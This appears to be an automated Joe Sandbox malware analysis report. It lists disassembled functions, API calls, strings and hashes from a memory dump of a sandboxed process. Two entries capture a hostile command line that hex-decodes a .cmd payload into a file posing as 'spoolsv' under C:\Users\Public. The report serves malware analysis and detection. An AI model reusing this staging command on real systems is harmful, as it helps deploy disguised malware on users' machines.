                                                    • Opcode ID: aa7e40b5d99d9a56d3058fd520baa9575a550189048c001a86f2540850faebe3
                                                    • Instruction ID: f2ae5535178175761bf7b84727fc5370a0c9e9e7114fd90532d21ae82c1dec22
                                                    • Opcode Fuzzy Hash: aa7e40b5d99d9a56d3058fd520baa9575a550189048c001a86f2540850faebe3
                                                    • Instruction Fuzzy Hash: 41F03C76E2864286EB148B99F8400B8BBA0FB89B40B589534DA0E87365DF3CE951C700
                                                    Function 00007FF6BF3E4C1C Relevance: 1.5, APIs: 1, Instructions: 29COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: exit
                                                    • String ID:
                                                    • API String ID: 2483651598-0
                                                    • Opcode ID: e255d2af7c18615348d8cf7a7b788cdf459202c7b5a34beac69f38e8db5c085f
                                                    • Instruction ID: 9e07b1f5a2c297c69e69b79f8badfaa04c719a4222800926148ce0da7b3d454f
                                                    • Opcode Fuzzy Hash: e255d2af7c18615348d8cf7a7b788cdf459202c7b5a34beac69f38e8db5c085f
                                                    • Instruction Fuzzy Hash: BDC0803471464697EF5C77B5645103D2B645F1C301F04543DC707C62A3DD6CDC148354
                                                    Function 00007FF6BF3E5508 Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: DefaultUser
                                                    • String ID:
                                                    • API String ID: 3358694519-0
                                                    • Opcode ID: 5d8fc4fa8e665926eb49570ec356dc21582dec5ebc006b351cd7b5a4e2c943bd
                                                    • Instruction ID: a363dec03172e5c6d3e1bd0b2411f077711bdfc583ae666b48df2b80ddc79506
                                                    • Opcode Fuzzy Hash: 5d8fc4fa8e665926eb49570ec356dc21582dec5ebc006b351cd7b5a4e2c943bd
                                                    • Instruction Fuzzy Hash: 42E08CBAD282528AF5D42B8A60412B41B93CF78782F845031C70FC92E94D2D2C415328
                                                    Function 00007FF6BF3E2E44 Relevance: 1.3, APIs: 1, Instructions: 29COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset
                                                    • String ID:
                                                    • API String ID: 2221118986-0
                                                    • Opcode ID: f77ccc38f2f42b08cf4ed255524ec50c837bf5ddba9254f495b6a2bfe7d154bb
                                                    • Instruction ID: 93985bdabd02272beb349f47fb54266c702340b3569b335ca11cb22c3fd228f0
                                                    • Opcode Fuzzy Hash: f77ccc38f2f42b08cf4ed255524ec50c837bf5ddba9254f495b6a2bfe7d154bb
                                                    • Instruction Fuzzy Hash: AEF0B421B1979140EE40879BB94012963909F88BE0B088334EBBC8BBE5DE3CD8518700

                                                    Non-executed Functions

                                                    Function 00007FF6BF3D3410 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 160windowCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: FormatMessage$ByteCharMultiWide_ultoawcschr
                                                    • String ID: $Application$System
                                                    • API String ID: 3538039442-1881496484
                                                    • Opcode ID: 6194e2a1b63514fbe775a342b0db58f28aa4d046a1287b5b4022a3f3c67c0b5b
                                                    • Instruction ID: ba1af97c59e1acfc3f9939bc2dca87613575b6c19b5a29a6c903064b57743927
                                                    • Opcode Fuzzy Hash: 6194e2a1b63514fbe775a342b0db58f28aa4d046a1287b5b4022a3f3c67c0b5b
                                                    • Instruction Fuzzy Hash: 4951CE32A09B4197EB208BA9F4006BABBA1FB89B84F459134DF4E877A5DF3CD455C740
                                                    Function 00007FF6BF3DB0D8 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 320COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _get_osfhandlememset$wcschr
                                                    • String ID: DPATH
                                                    • API String ID: 3260997497-2010427443
                                                    • Opcode ID: 61e475784263ec0578ee4568f0ecfacc12e0da9f92d71443f4b7f45241f80286
                                                    • Instruction ID: 2cdbb3b9c3452ed58c8ad6b5ae4aa8f9987e6697de3a4ca8a9e5ae9ccd845b4b
                                                    • Opcode Fuzzy Hash: 61e475784263ec0578ee4568f0ecfacc12e0da9f92d71443f4b7f45241f80286
                                                    • Instruction Fuzzy Hash: A5D19D36A1864286EB249BA9D8401BD67A1FF84B94F484235DB1ECB7F5DF3CE845C380
                                                    Function 00007FF6BF3E7FF8 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 87filenativeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: File$InformationNamePathRelative$CloseDeleteErrorFreeHandleLastName_OpenQueryReleaseStatusStringUnicodeVolumeWith
                                                    • String ID: @P
                                                    • API String ID: 1801357106-3670739982
                                                    • Opcode ID: a098cbb43c680f3415d79602374c39353e633b648bff1f45cd59ed0b1006156a
                                                    • Instruction ID: f52241ab192e8f7d0855e6484719c15c5b44367b763fccb968ffa768c39c0950
                                                    • Opcode Fuzzy Hash: a098cbb43c680f3415d79602374c39353e633b648bff1f45cd59ed0b1006156a
                                                    • Instruction Fuzzy Hash: 2A413832B04A42DBE7109FB8D4402BD6BA0FB99758F848231DB0D97AA8DF78D954C794
                                                    Function 00007FF6BF3FAC4C Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 194registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CloseValue$CreateDeleteOpen
                                                    • String ID: %s=%s$\Shell\Open\Command
                                                    • API String ID: 4081037667-3301834661
                                                    • Opcode ID: 95367a666dc1e10ecfff189f591a6456c9e88ca4fe6cad7e4a3eb832a6d246c2
                                                    • Instruction ID: 093f044542b7c4c060ddb395e41b5bdde29e5a405a66d8dbe4bcf55c2e9618af
                                                    • Opcode Fuzzy Hash: 95367a666dc1e10ecfff189f591a6456c9e88ca4fe6cad7e4a3eb832a6d246c2
                                                    • Instruction Fuzzy Hash: 2F710372B0974282EFA09BADE4502BAA7A1FF94790F444131DF4E8B7A4DF7CE8418750
                                                    Function 00007FF6BF3D1884 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 380COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _wcsnicmpwcsrchr
                                                    • String ID: COPYCMD
                                                    • API String ID: 2429825313-3727491224
                                                    • Opcode ID: 4d82711cc2208d1db92bdbc9a67415b50588ed216ffaf236914d612e0490fdc8
                                                    • Instruction ID: 75f9bfbe9ae7cbde1405c4b931f3032ecb2abcc2b3779005fd8ff8ff4133124c
                                                    • Opcode Fuzzy Hash: 4d82711cc2208d1db92bdbc9a67415b50588ed216ffaf236914d612e0490fdc8
                                                    • Instruction Fuzzy Hash: 93F1AE76F0965286FB60AFED90402BD37A5AB04798F004236DF5EAB6E4DF3CA551C780
                                                    Function 00007FF6BF3FBCF0 Relevance: 10.6, APIs: 7, Instructions: 52filenativeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ExclusiveLock$AcquireBufferCancelConsoleFileFlushInputReleaseSynchronous_get_osfhandlefflushfprintf
                                                    • String ID:
                                                    • API String ID: 3476366620-0
                                                    • Opcode ID: 6372b5247c68ad753e8b139ca81a5779740cabb9e500d40167355afd769c266a
                                                    • Instruction ID: 3ed223fa4bdbc8feabf2257f63b29fdce63ac7fc8fdd35bd3c8b665d19a21ba2
                                                    • Opcode Fuzzy Hash: 6372b5247c68ad753e8b139ca81a5779740cabb9e500d40167355afd769c266a
                                                    • Instruction Fuzzy Hash: 8E219F30918A4382FA586FACE8152B87B60FF69715F805235DB1EC62F2DF3CA418C351
                                                    Function 00007FF6BF3D9B50 Relevance: 7.8, APIs: 5, Instructions: 252COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$AllocProcess
                                                    • String ID:
                                                    • API String ID: 1617791916-0
                                                    • Opcode ID: 3743209a10b96ebcc181eebe11116311313ddf8ce3d63fdcd25b8e532d2a8f02
                                                    • Instruction ID: 06d44feed41ecf43a410f5a6ca5d306d97272e529965c83e94f0754a1b2be370
                                                    • Opcode Fuzzy Hash: 3743209a10b96ebcc181eebe11116311313ddf8ce3d63fdcd25b8e532d2a8f02
                                                    • Instruction Fuzzy Hash: 23A1B125A1965282EB609FADA4516B977A0FF88B80F405135EF4ECB7B1DF3CE411C780
                                                    Function 00007FF6BF3DF8C0 Relevance: 40.6, APIs: 21, Strings: 2, Instructions: 380COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,00000000,?,00007FF6BF3DF52A,00000000,00000000,?,00000000,?,00007FF6BF3DE626,?,?,00000000,00007FF6BF3E1F69), ref: 00007FF6BF3DF8DE
                                                    • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DF8FB
                                                    • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DF951
                                                    • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DF96B
                                                    • wcschr.MSVCRT(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DFA8E
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3DFB14
                                                    • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DFB2D
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DFBEA
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3DF996
                                                      • Part of subcall function 00007FF6BF3E0010: SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,0000237B,00000000,00000002,0000000A,00000001,00007FF6BF3F849D,?,?,?,00007FF6BF3FF0C7), ref: 00007FF6BF3E0045
                                                      • Part of subcall function 00007FF6BF3E0010: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF6BF3FF0C7,?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF6BF3FE964), ref: 00007FF6BF3E0071
                                                      • Part of subcall function 00007FF6BF3E0010: ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3E0092
                                                      • Part of subcall function 00007FF6BF3E0010: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF6BF3E00A7
                                                      • Part of subcall function 00007FF6BF3E0010: MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF6BF3E0181
                                                    • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3ED401
                                                    • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3ED41B
                                                    • longjmp.MSVCRT(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3ED435
                                                    • longjmp.MSVCRT(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3ED480
                                                    Strings
                                                    • =,;, xrefs: 00007FF6BF3DF8C8
                                                    • C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Svcrhpjadgyclc.cmd" "C:\\Users\\Public\\spoolsv.MPEG" 9 , xrefs: 00007FF6BF3DF90E
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CriticalSection$EnterFileLeave$LockPointerShared_get_osfhandlelongjmp$AcquireByteCharErrorLastMultiReadReleaseWidewcschr
                                                    • String ID: =,;$C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Svcrhpjadgyclc.cmd" "C:\\Users\\Public\\spoolsv.MPEG" 9
                                                    • API String ID: 3964947564-875645428
                                                    • Opcode ID: ac10f6592d03a1150df86db3bbd316513fcc4d2075019832c3c795bce2986d35
                                                    • Instruction ID: 518c0ca8fd9c3b47bf12da8a0af508aecfc4eeb030e8c560b5e5cbdd1ffd947f
                                                    • Opcode Fuzzy Hash: ac10f6592d03a1150df86db3bbd316513fcc4d2075019832c3c795bce2986d35
                                                    • Instruction Fuzzy Hash: 8202AE35A29602CAFB149BACE8401B87BA4FF95754F544135DB0ECA2F6DF3DA920C790
                                                    Function 00007FF6BF3DEF40 Relevance: 33.7, APIs: 16, Strings: 3, Instructions: 465COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • iswspace.MSVCRT(00000000,00000000,?,00000000,?,00007FF6BF3DE626,?,?,00000000,00007FF6BF3E1F69), ref: 00007FF6BF3DF000
                                                    • wcschr.MSVCRT(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DF031
                                                    • iswdigit.MSVCRT(?,?,00000000,00007FF6BF3E1F69,?,?,?,?,?,?,?,00007FF6BF3D286E,00000000,00000000,00000000,00000000), ref: 00007FF6BF3DF0D6
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: iswdigitiswspacewcschr
                                                    • String ID: ()|&=,;"$=,;$Ungetting: '%s'
                                                    • API String ID: 1595556998-2755026540
                                                    • Opcode ID: 78b794f6fc69934632e6eee377604cec53d1945fb932c7168ee33591e32c1865
                                                    • Instruction ID: 62db82e8d81cba0c65f14bfaf8249ba2146855178c5229b52a1ae71fac85de4b
                                                    • Opcode Fuzzy Hash: 78b794f6fc69934632e6eee377604cec53d1945fb932c7168ee33591e32c1865
                                                    • Instruction Fuzzy Hash: A022CC6DE5C66381FA605BBDA48027A3BA0BF01790F449132DB8DCA2F1DF3DE5518B91
                                                    Function 00007FF6BF3E2B94 Relevance: 19.6, APIs: 6, Strings: 7, Instructions: 110COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID:
                                                    • String ID: -decodehex -F "C:\Users\user\Desktop\Svcrhpjadgyclc.cmd" "C:\\Users\\Public\\spoolsv.MPEG" 9 $EQU$GEQ$GTR$LEQ$LSS$NEQ
                                                    • API String ID: 0-4011325121
                                                    • Opcode ID: 27546f26981fd3a6242742626cf9575fc19742bdde1af1eb23768a0abe577f48
